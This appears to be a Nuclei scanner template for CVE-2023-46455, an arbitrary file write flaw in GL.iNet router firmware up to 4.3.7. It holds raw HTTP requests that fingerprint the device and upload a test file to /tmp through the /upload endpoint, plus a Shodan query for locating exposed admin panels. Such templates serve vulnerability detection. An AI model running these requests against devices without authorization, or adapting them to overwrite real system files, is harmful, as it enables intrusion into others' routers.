漏洞描述
GL.iNet <= 4.3.7 is vulnerable to an arbitrary file write exploit, allowing an attacker to overwrite arbitrary system files.
id: CVE-2023-46455
info:
name: GL.iNet <= 4.3.7 - Arbitrary File Write
author: Zierax
severity: high
description: |
GL.iNet <= 4.3.7 is vulnerable to an arbitrary file write exploit, allowing an attacker to overwrite arbitrary system files.
reference:
- https://github.com/cyberaz0r/GL.iNet-Multiple-Vulnerabilities/blob/main/CVE-2023-46455.py
- https://nvd.nist.gov/vuln/detail/CVE-2023-46455
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score: 7.5
cve-id: CVE-2023-46455
cwe-id: CWE-22
epss-score: 0.50891
epss-percentile: 0.97788
cpe: cpe:2.3:o:gl-inet:gl-ar300m_firmware:4.3.7:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: gl-inet
product: gl-ar300m_firmware
shodan-query: title:"GL.iNet Admin Panel"
tags: cve,cve2023,gl-net,file-upload,intrusive
variables:
string: "{{to_lower(rand_text_alpha(5))}}"
file: "{{to_lower(rand_text_alpha(4))}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "GL.iNet"
internal: true
case-insensitive: true
- raw:
- |
POST /upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------81419250823331111993422505835
X-Requested-With: XMLHttpRequest
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="sid"
{{auth_token}}
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="size"
4
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="path"
/tmp/{{string}}
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="file"; filename="{{file}}"
Content-Type: application/octet-stream
{{string}}
-----------------------------81419250823331111993422505835--
matchers-condition: and
matchers:
- type: word
part: body
words:
- "File uploaded successfully"
- type: status
status:
- 200
# digest: 4b0a004830460221008cce3fbe7e527c4be96781971f73c691031106116d26c9d97db35a9f3e1efe1e022100c80615125ac2e7154349404bb05478fa138461c7ce8960c4db6b2f175ae76398:922c64590222798bb761d5b6d8e72950